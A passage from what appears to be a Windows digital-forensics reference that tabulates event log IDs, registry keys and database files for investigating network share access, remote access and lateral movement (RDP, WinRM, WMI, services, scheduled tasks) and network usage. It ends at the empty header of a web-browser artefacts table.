| <p><code>EVTX</code><br>-<br><code>Security.evtx</code><br>- Network share access:<br><code>Audit File Share</code></p>                                                                         | Network shared files and folders access | <p>Events related to network shares: creation, deletion, modification, and access attempts of network shares. Do not track access to folders and files hosted on network shares.<br><br>As there are no <code>System Access Control Lists</code> (<code>SACLs</code>) for shares, access to all shares on the system are audited.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | <p>Event <code>5140</code>: <code>A network share object was accessed</code><br>Generated every time a network share is accessed, but only once per session (upon first access attempt).<br><code>Object Type</code> is always <code>File</code> for this event.<br><br>Event <code>5140</code>: <code>A network share object was accessed</code><br><br>Event <code>5142</code>: <code>A network share object was added</code><br><br>Event <code>5143</code>: <code>A network share object was modified</code><br><br>Event <code>5144</code>: <code>A network share object was deleted</code><br><br>All events include information about the account that performed the operation: username, domain, and <code>SID</code> as well as the <code>Logon ID</code> associated with the logon.<br>Events <code>5140</code> also include network information: source IP address and port.<br><br>Requires <code>Audit File Share</code> to be enabled.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `Security.evtx`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                     |   |
| <p><code>EVTX</code><br>-<br><code>Security.evtx</code><br>-<br>Network share access:<br><code>Audit Detailed File Share</code></p>                                                             | Network shared files and folders access | <p>Event related to access to folders and files hosted on network shares. The event is generated upon every access to a network shared file or folder.<br><br>Failure events are generated only when access is denied at the file share level. <strong>The event may thus not indicate that the access to the shared folder or file was successful.</strong></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | <p>Event <code>5145</code>: <code>A network share object was checked to see whether client can be granted desired access</code><br><br>Includes information about the account that performed the operation: username, domain, and <code>SID</code>, the <code>Logon ID</code> associated with the logon, and the source IP address and port.<br><br>Requires <code>Audit Detailed File Share</code> to be enabled.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `Security.evtx`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                     |   |

### Remote Access / Lateral movements

| Name                                                                                                                                                                                             | Type                              | Description                                                                                                                                                                                                                                                                                                                                       | Information / interpretation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Location                                                                                                                                                                                                                                                                                                                     | Tool(s)                                                                                                                                                                                                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------- | - |
| <p>Authentication<br>-<br><code>EVTX</code><br>-<br><code>Security.evtx</code><br><br><em>Destination host</em></p>                                                                              | Remote Access / Lateral movements | <p>For more information:<br><a href="/pages/-M_k4zmG2dW4OA1b19_f">accounts usage note</a>.</p>                                                                                                                                                                                                                                                    | <p>Event <code>4624</code>: <code>An account was successfully logged on</code><br><br>Event <code>4625</code>: <code>An account failed to log on</code><br><br>Event <code>4672</code>: <code>Special privileges assigned to new logon</code><br><br>Event <code>4647</code>: <code>User initiated logoff</code> (used for logoffs from <code>Interactive</code> or <code>RemoteInteractive</code> logons)<br><br>Event <code>4634</code>: <code>An account was logged off</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `Security.evtx`                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p>Authentication<br>-<br><code>EVTX</code><br>-<br><code>Security.evtx</code><br><br><em>Source host</em></p>                                                                                   | Remote Access / Lateral movements | <p>For more information:<br><a href="/pages/-M_k4zmG2dW4OA1b19_f">accounts usage note</a>.</p>                                                                                                                                                                                                                                                    | <p>Only logged whenever alternate credentials are used:<br><br>Event <code>4648: A logon was attempted using explicit credentials</code><br>The <code>TargetServerName</code> and <code>TargetInfo</code> fields can reference information about the remote server and service (such as <code>TargetInfo</code> set to <code>TERMSRV/\<HOSTNAME></code> for outgoing <code>RDP</code>).<br><br>For <code>runas /NetOnly</code> (and similar) process execution:<br><br>Event <code>4624</code>: <code>An account was successfully logged on</code><br>With <code>Logon Type</code> <code>9</code> and the specified alternate credentials as <code>Network Account Domain</code> and <code>Network Account Name</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | `Security.evtx`                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p>Authentication<br>-<br><code>EVTX</code><br>-<br><code>Security.evtx</code><br><br><em>AD DS Domain Controller</em></p>                                                                       | Remote Access / Lateral movements | <p>For authentication attempts from a source host to a Active Directory domain-joined destination host (which is not the Domain Controller).<br><br>For more information:<br><a href="/pages/-M_k4zmG2dW4OA1b19_f">accounts usage note</a>.</p>                                                                                                   | <p>For <code>NTLM</code> successful or failed authentication attempts:<br><br>Event <code>4776</code>: <code>The domain controller attempted to validate the credentials for an account</code><br><em>If the <code>Result Code</code> field is not equal to <code>0x0</code> the authentication failed. The event is associated with the computer from which the logon attempt originated and does not identify the target service. This event is also logged for non Domain Controllers, on the target computer, for logon attempts with local <code>SAM</code> accounts.</em><br><br>For <code>Kerberos</code> authentication:<br><br>If the user has not already retrieved a <code>TGT</code> during the session opening on the source host:<br><br>Event <code>4768</code>: <code>A Kerberos authentication ticket (TGT) was requested</code><br><em>If the <code>Result Code</code> field is not equal to <code>0x0</code> the request failed (but not for a failed authentication).</em><br><br>Event <code>4769</code>: <code>A Kerberos service ticket was requested</code><br>The <code>ServiceName</code> and <code>ServiceSid</code> fields indicate the service the <code>service ticket</code> is requested for. However, for lateral movement, the service and service <code>SID</code> are often set to the destination machine account, with no information on the actual service targeted (<code>RPC</code>, <code>CIFS</code>, etc.).<br><br>Event <code>4771</code>: <code>Kerberos pre-authentication failed</code><br><em>For authentication failures.</em><br><br><strong>As the Domain Controller only handles the authentication, and will not open a login session in this scenario, no <code>4624</code> or <code>4625</code> events will be logged.</strong> However, for a remote interactive logon on the destination host, a <code>4624</code> event of logon type <code>3</code> (and <code>4768</code> + <code>4769</code> events) will be logged on a Domain Controller (potentially different than the one that processed the authentication from the source host) originating from the destination host (as part of the interactive session opening process).</p> | `Security.evtx`                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p>Authentication<br>-<br><code>User Access Logging (UAL)</code><br><br><em>AD DS Domain Controller and destination host</em><br><br>Windows Server only, introduced in Windows Server 2012.</p> | Remote Access / Lateral movements | <p>Feature that consolidates data on client activity.<br><br>On Domain Controllers, yield information on sessions opening on domain-joined computers (if the given DC was reached for authentication / <code>Group Policy</code> retrieval).<br><br>For more information: <a href="/pages/ufbpqcPbnOAOxNWRz97Y">User Access Logging note</a>.</p> | <p>The information is stored locally in up to five <code>Extensible Storage Engine (ESE)</code> database files (<code>.mdb</code>), including:<br><br>- The <code>Current.mdb</code> file which contains data for the last 24-hour.<br><br>- Up to three <code>\<GUID>.mdb</code> files, which contain data for an entire year (first to last day), going back to 2 years.<br><br>The <code>CLIENTS</code> table of the aforementioned databases contain notable information:<br><br>- Accessed Windows Server role <code>GUID</code> and description (<code>AD DS</code>, <code>AD CS</code>, <code>SMB / CIFS</code> service notably)<br><br>- The client domain and username.<br><br>- Total number of access.<br><br>- First, last, and daily access timestamps.<br><br>- Client <code>IPv4</code> or <code>IPv6</code> address.<br><br>On Domain Controllers, the hostname associated with a given <code>IP</code> address at that time may be retrievable as machine accounts of domain-joined computers also authenticate to <code>AD DS</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Database files (`.mdb`) in `%SystemRoot%\System32\Logfiles\SUM\`                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p>Remote Desktop<br>-<br><code>EVTX</code><br><br><em>Destination host</em></p>                                                                                                                 | Remote Access / Lateral movements | <p>For more information:<br><a href="/pages/I2l5xcKFlRDgH1Hb4lll">lateral movement note</a>.</p>                                                                                                                                                                                                                                                  | <p><code>Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx</code>:<br>- Event <code>1149</code>: <code>Remote Desktop Services: User authentication succeeded</code>. Access to the Windows login screen, not necessarily a successful session opening. This event is however only generated upon successful authentication if <code>Network Level Authentication (NLA)</code> is required.<br><br><code>Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational</code>:<br>- Event <code>21</code>: <code>Remote Desktop Services: Session logon succeeded</code>.<br>- Event <code>22</code>: <code>Remote Desktop Services: Shell start notification received</code><br>- Event <code>23</code>: <code>Remote Desktop Services: Session logoff succeeded</code><br>- Event <code>25</code>: <code>Remote Desktop Services: Session reconnection succeeded</code><br>Events with a source network address set to <code>LOCAL</code> can sometimes be generated for console, non RDP login.<br><br><code>Microsoft-WindowsRemoteDesktopServicesRdpCoreTS%4Operational.evtx</code>:<br>- Event <code>131</code>: <code>The server accepted a new TCP connection from client \<IP></code>. Introduced in <code>>= Windows Server 2012</code>, only indicate a network access to the RDS service.<br><br>For the aforementioned events, a <code>Source Network Address</code> of <code>::%16777216</code> could indicate that a <code>ngrok</code> tunnel was used to make RDP access.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | <p><code>Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx</code><br><br><code>Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational</code><br><br><code>Microsoft-WindowsRemoteDesktopServicesRdpCoreTS%4Operational.evtx</code></p>                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p>Remote Desktop<br>-<br><code>HKLM\SYSTEM</code><br>-<br><code>ProfileList</code><br><br><em>Destination host</em></p>                                                                         | Remote Access / Lateral movements | `SID` to username correspondence for accounts that have interactively logged on the system (including for domain accounts).                                                                                                                                                                                                                       | The last write timestamp of each key indicates was the associated user last logged on the system.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | <p>File: <code>%SystemRoot%\System32\config\SOFTWARE</code><br>Registry key: <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList</code></p>                                                                                                                                                                  |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p>Remote Desktop<br>-<br><code>EVTX</code><br><br><em>Source host</em></p>                                                                                                                      | Remote Access / Lateral movements | <p>For more information:<br><a href="/pages/I2l5xcKFlRDgH1Hb4lll">lateral movement note</a>.</p>                                                                                                                                                                                                                                                  | <p><code>Microsoft-WindowsTerminalServicesRDPClient%4Operational.evtx</code>:<br>- Event <code>1024</code>: <code>RDP ClientActiveX is trying to connect to the server (\<HOSTNAME>)</code><br>- Event <code>1102</code>: <code>The client has initiated a multi-transport connection to the server \<IP></code><br>- Event <code>1029: Base64(SHA256(UserName)) is = \<HASH></code><br><a href="https://gchq.github.io/CyberChef/#recipe=Decode_text(&#x27;UTF-8%20(65001)&#x27;)Encode_text(&#x27;UTF-16LE%20(1200)&#x27;)SHA2(&#x27;256&#x27;,64,160)From_Hex(&#x27;Space&#x27;)To_Base64(&#x27;A-Za-z0-9%2B/%3D&#x27;)&#x26;input=QWRtaW5pc3RyYXRvcg">This <code>CyberChef</code> formula</a> can be used to compute the hash.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `Microsoft-WindowsTerminalServicesRDPClient%4Operational.evtx`                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p>Remote Desktop<br>-<br><code>NTUSER</code><br>-<br><code>Terminal Server Client\Servers</code><br><br><em>Source host</em></p>                                                                | Remote Access / Lateral movements | -                                                                                                                                                                                                                                                                                                                                                 | <p>Each remote host the user connected to (from the local system) is referenced as a dedicated subkey under <code>Terminal Server Client\Servers\&#x3C;IP></code>. This subkey is named after the IP address of the remote host.<br><br>For each host, the associated subkey references:<br><br>- The eventual saved username for the connection in the <code>UsernameHint</code> value.<br><br>Additionally, the last written timestamp may be an indicator of the first access to the remote host (but may have also be updated for various other reasons).</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br>Registry key: <code>HKCU\SOFTWARE\Microsoft\Terminal Server Client\Servers\&#x3C;IP></code></p>                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p>Remote Desktop<br>-<br><code>RDP Bitmap Cache</code><br><br><em>Source host</em></p>                                                                                                          | Remote Access / Lateral movements | <p>Partial captures of the remote desktop screen from the Remote Desktop Client for RDP sessions.<br><br>Implemented to reduce the amount of data sent by the server to save bandwidth usage.<br><br>Bitmap caching be deactivated client-side in the Remote Desktop Client.</p>                                                                  | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | <p>Windows XP / Windows Server 2003:<br><code>%SystemDrive%:\Documents and Settings\&#x3C;USERNAME>\Local Settings\Application Data\Microsoft\Terminal Server Client\Cache\*</code><br><br>Windows 7 and later: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\AppData\Local\Microsoft\Terminal Server Client\Cache\*</code></p> |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p>Windows services<br>-<br><code>EVTX</code><br><br><em>Destination host</em></p>                                                                                                               | Remote Access / Lateral movements | <p>For more information:<br><a href="/pages/-MNLC0P3fYKPmtfLpynh">local persistence note</a>.</p>                                                                                                                                                                                                                                                 | <p><code>System.evtx</code>:<br>- Event <code>7045</code>: <code>A service was installed in the system</code><br>- Event <code>7036</code>: <code>The \<SERVICE\_NAME> service entered the \<running/stopped> state</code><br><br><code>Security.evtx</code>:<br>- Event <code>4697</code>: <code>A service was installed in the system</code>. Introduced in Windows Server 2016 and Windows 10, and requires advanced auditing policy.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | <p><code>System.evtx</code><br><br><code>Security.evtx</code></p>                                                                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p>Windows scheduled tasks<br>-<br><code>EVTX</code><br><br><em>Destination host</em></p>                                                                                                        | Remote Access / Lateral movements | <p>For more information:<br><a href="/pages/-MNLC0P3fYKPmtfLpynh">local persistence note</a>.</p>                                                                                                                                                                                                                                                 | <p><code>Microsoft-Windows-TaskScheduler%4Operational.evtx</code>, events introduced in <code>Windows 7</code> / <code>Windows 2008</code>:<br>- Event <code>106</code>: <code>User "\<DOMAIN                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | WORKGROUP>\&#x3C;USERNAME>" registered Task Scheduler task "\&#x3C;TASK\_NAME>"</code><br>- Event <code>140</code>: <code>User "\<DOMAIN                                                                                                                                                                                     | WORKGROUP>\&#x3C;USERNAME>" updated Task Scheduler task "\<TASKNAME>"</code><br>- Event <code>200</code>: <code>Task Scheduler launched action "\<EXECUTABLE>" in instance "\<GUID>" of task "\<TASKNAME>"</code><br>- Event <code>201</code>: <code>Task Scheduler successfully completed task "\<TASKNAME>", instance "\<GUID>", action "\<EXECUTABLE>" with return code \<INT>"</code><br>- Event <code>141</code>: <code>User "\<DOMAIN | WORKGROUP>\&#x3C;USERNAME>" deleted Task Scheduler task "\<TASKNAME>"</code><br><br><code>Security.evtx</code>, requires advanced auditing policy:<br>- Event <code>4698</code>: <code>A scheduled task was created</code><br>- Event <code>4700: A scheduled task was enabled</code><br>- Event <code>4701</code>: <code>A scheduled task was disabled</code><br>- Event <code>4702</code>: <code>A scheduled task was updated</code><br>- Event <code>4699</code>: <code>A scheduled task was deleted</code></p> | <p><code>Microsoft-Windows-TaskScheduler%4Operational.evtx</code><br><br><code>Security.evtx</code></p> |   |
| <p>PowerShell remoting (<code>WinRM</code>)<br>-<br><code>EVTX</code><br><br><em>Destination host</em></p>                                                                                       | Remote Access / Lateral movements | <p>For more information:<br><a href="/pages/-MNLC0LZVa2NVsEASe9G">PowerShell activity note</a>.</p>                                                                                                                                                                                                                                               | <p><code>Microsoft-Windows-PowerShell%4Operational</code>:<br>- Event <code>4103</code>, related to PowerShell modules. Requires PowerShell <code>Module Logging</code> to be enabled.<br>- Event <code>4104</code>, related to PowerShell script block. Requires PowerShell <code>Script Block Logging</code> to be enabled. By default, events will however be logged for potentially-malicious commands execution.<br><br><code>Microsoft-Windows-WinRM%4Operational.evtx</code>:<br>- Event <code>91</code>: <code>Creating WSMan shell on server with ResourceUri: <http://schemas.microsoft.com/[>...]</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | <p><code>Microsoft-Windows-PowerShell%4Operational</code><br><br><code>Microsoft-Windows-WinRM%4Operational.evtx</code></p>                                                                                                                                                                                                  |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p>PowerShell remoting (<code>WinRM</code>)<br>-<br><code>wsmprovhost.exe</code> execution<br><br><em>Destination host</em></p>                                                                  | Remote Access / Lateral movements | <p>The PowerShell host process (<code>wsmprovhost.exe</code>) is executed to hosts the active remote session on the destination system.<br><br>If programs are executed through the <code>WinRM</code> session, they will be spawned as child of the <code>wsmprovhost.exe</code> process.</p>                                                    | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p>PowerShell remoting (<code>WinRM</code>)<br>-<br><code>EVTX</code><br><br><em>Source host</em></p>                                                                                            | Remote Access / Lateral movements | <p>For more information:<br><a href="/pages/-MNLC0LZVa2NVsEASe9G">PowerShell activity note</a>.</p>                                                                                                                                                                                                                                               | <p><code>Microsoft-Windows-WinRM%4Operational.evtx</code>:<br>- Event <code>6</code>: <code>Creating WSMan Session. The connection string is: \<REMOTE\_HOST>/wsman?PSVersion=XXX</code><br>- Event <code>33</code>: <code>Closing WSMan Session completed successfully</code><br>- Events <code>8</code>, <code>15</code>, <code>16</code>, and <code>31</code>: other events that occur during the life-cycle of the <code>WinRM session</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `Microsoft-Windows-WinRM%4Operational.evtx`                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p><code>WMI</code><br>-<br><code>wmiprvse.exe</code> execution<br><br><em>Destination host</em></p>                                                                                             | Remote Access / Lateral movements | <p>The <code>WMI Provider Host</code> (<code>wmiprvse.exe</code>) process is executed to run <code>WMI</code> commands.<br><br>If programs are executed through <code>WMI</code>, they will be spawned as child of the <code>wmiprvse.exe</code> process.</p>                                                                                     | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p><code>SSH</code><br>-<br><code>SSHlogs</code><br><br><em>Destination host</em></p>                                                                                                            | Remote Access / Lateral movements | `OpenSSH` for Windows logs in a text format. Not enabled by default (requires `SyslogFacility LOCAL0` / `LogLevel Debug3`) to be set in the server `sshd_config`.                                                                                                                                                                                 | Contains information about users successful and unsuccessful authentication attempts (with the associated IP source).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `%ProgramData%\ssh\logs`                                                                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |
| <p>Port forwarding<br>-<br><code>HKLM\SYSTEM</code><br>-<br><code>PortProxy</code></p>                                                                                                           | Remote Access / Lateral movements | `netsh` port forwarding activity: listening host / port and remote host / port.                                                                                                                                                                                                                                                                   | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br>Registry key: <code>HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp\*</code></p>                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                                                                                                         |   |

### Network usage

| Name                                                                                     | Type          | Description                                                                                   | Information / interpretation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Location                                                                                                                                                   | Tool(s)    |
| ---------------------------------------------------------------------------------------- | ------------- | --------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------- |
| <p><code>System Resource Usage Monitor (SRUM)</code><br><br>Introduced in Windows 8.</p> | Network usage | Detailed in `Program execution`.                                                              | <p>The <code>Network Data Usage</code> table (GUID <code>{973F5D5C-1D90-4944-BE8E-24B94231A174}</code>) tracks programs execution and network usage of the executed programs.<br><br>For each entry in the <code>Network Data Usage</code> table (<code>SrumECmd</code>'s <code>NetworkUsages</code> output), the following information may be recorded:<br><br>- Timestamp of the <code>SRUM</code> entry creation.<br><br>- Full path of the executable or application information / description for built-in components.<br><br>- Metrics on network data usage (bytes sent and receive on a given network interface).</p> | `%SystemRoot%\System32\SRU\SRUDB.dat`                                                                                                                      | `SrumECmd` |
| <p><code>HKLM\SYSTEM</code><br>-<br><code>NetworkList</code></p>                         | Network usage | Basic network historical information (network name and type, first and last connection, etc.) | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br>Registry key: <code>HKLM\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles\</code></p> |            |

### Local persistence

For artefacts on local persistence and `AutoStart Extensibility Point (ASEP)`, refer to:

* The [local persistence note](/dfir/windows/ttps_analysis/local_persistence).
* The [persistence-info repository](https://persistence-info.github.io/).

### Web browsers usage

The web browsers related artefacts can be split in the following categories:

* User profile: web browsers, such as `Chronium`-based browsers and `Firefox`, implement a profile feature to store user's setttings, history, favourites, etc. The databases and files that store these information are usually stored under a user specific profile folder.
* History: web browsing history and download history.
* Cookies: web browsing cookies (session tokens).
* Cache: cache of resources downloaded from accessed websites (images, text content, `HTML`, `CSS`, `Javascript` files, etc.).
* Sessions: tabs and windows from a browsing session.
* Settings: configuration settings.

These files are often stored under `%LocalAppData%` (`%SystemDrive%:\Users\<USERNAME>\AppData\Local\`) and `%AppData%` (`%SystemDrive%:\Users\<USERNAME>\AppData\Roaming\`).

| Name                                                                | Type               | Description                                                                                                                                                                                                                                                                                                                                                         | Information / interpretation                                                                                                                                                                                                                  | Location                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Tool(s)                                                                                                                                                   |                                                                                                          |                                                                                                                |                                                                                                         |                                                                                                            |                                   |                                                                                             |
| ------------------------------------------------------------------- | ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------- | --------------------------------- | ------------------------------------------------------------------------------------------- |
